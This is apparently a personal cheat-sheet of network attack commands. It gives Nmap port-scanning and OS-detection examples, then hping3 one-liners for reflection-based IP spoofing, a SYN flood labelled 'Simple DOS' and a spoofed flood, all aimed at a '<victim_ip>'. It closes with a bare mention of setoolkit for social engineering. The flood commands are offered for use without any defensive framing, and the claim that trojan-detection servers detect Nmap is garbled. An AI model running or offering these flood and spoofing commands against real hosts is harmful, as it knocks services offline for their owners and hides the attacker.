Nmap

Scan devices and networks to collect information like open or closed ports, OSs, running services. It also scans for the connected devices. It evaluates the network risks

Nmap can be easily detected by trojan-detection servers.

• Scan the most popular and common 1000 ports

```
nmap <ip_address/host>
```

Scan the most popular and common 100 ports

```
nmap -F <ip_address>
```

· Scan specific ports

```
nmap -p 23 <ip_address>
nmap -p 20,23,25 <ip_address>
nmap -p 1-15 <ip_address>
nmap -p 1-15,20-23 <ip_address>
nmap -p mysql,ftp,https <ip_address>
```

• Get more information like OS, version of Web servers... (Scan aggressively)

```
nmap -A <ip_address>
```

· Save output to file

```
nmap -oN <path>
```

• Scan all devices connected to my network

```
nmap <my_ip/subnet>
```

Ip Spoofing

Relies on the concept of reflection

```
hping3 -l --flood -a <victim_ip> <server_ip>
```

Simple DOS

```
hping3 --flood -S <victim_ip>
```

• Spoof

```
hping3 --flood -S --spoof <spoofed_ip> <victim_ip>
```

Social Engineering

setoolkit